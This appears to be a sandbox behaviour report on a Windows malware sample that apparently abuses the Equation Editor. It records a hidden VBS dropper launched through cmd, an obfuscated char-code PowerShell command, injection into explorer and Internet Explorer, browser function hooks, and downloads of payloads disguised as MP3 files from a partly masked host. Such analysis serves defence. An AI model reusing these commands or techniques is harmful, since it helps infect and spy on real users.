Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\cscript.exe' %TEMP%\FUDBypass.vbs A C
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $1830919FC5BAC6918334FB8230AD3174FE167775BB80AC67680AE1682683=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- %TEMP%\fudbypass.vbs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8da69542fa2c9bd83f18f795655ef69b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f91eb3695a368947e2c33f353273398e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f70195023feb360d7aa31741508c8918_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\71124c63fcdf606d3052927b0422aedf_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\691f1680d8006ac7738f77b6a3179ea5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4f278373e62ff9116caf2ee3fb1d79c2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\89ab9ec68f3f2811375b4c76676d64c6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b3c78413f7461bf16d592eb4ecd013f2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0683621a6cda028305ddc25064a29689_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bea1716c5a41b958b3e69275387957b4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ed70ef215a564c8519ba589500b9a541_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4157a1245abf92e774dabd6f799e0178_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\86f2df9929cb9fd8de357529c335cead_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e0d552da9a9c4ab9d8f13cd6160c384c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
- %TEMP%\fudbypass.vbs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8da69542fa2c9bd83f18f795655ef69b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f91eb3695a368947e2c33f353273398e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f70195023feb360d7aa31741508c8918_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\71124c63fcdf606d3052927b0422aedf_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\691f1680d8006ac7738f77b6a3179ea5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4f278373e62ff9116caf2ee3fb1d79c2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\89ab9ec68f3f2811375b4c76676d64c6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b3c78413f7461bf16d592eb4ecd013f2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0683621a6cda028305ddc25064a29689_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bea1716c5a41b958b3e69275387957b4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ed70ef215a564c8519ba589500b9a541_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4157a1245abf92e774dabd6f799e0178_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\86f2df9929cb9fd8de357529c335cead_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e0d552da9a9c4ab9d8f13cd6160c384c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
HTTP GET requests
- http://www.as####kasounds.com/upfiles/up_down/4473c84822607bd40d16da07bb3741cf.mp3
- http://www.as####kasounds.com/upfiles/up_down/fc41eb335b2022b4a4d63e84173eacd1.mp3
UDP
- DNS ASK as####kasounds.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $1830919FC5BAC6918334FB8230AD3174FE167775BB80AC67680AE1682683=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c sc query wcncsvc >> A C
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\chkdsk.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"
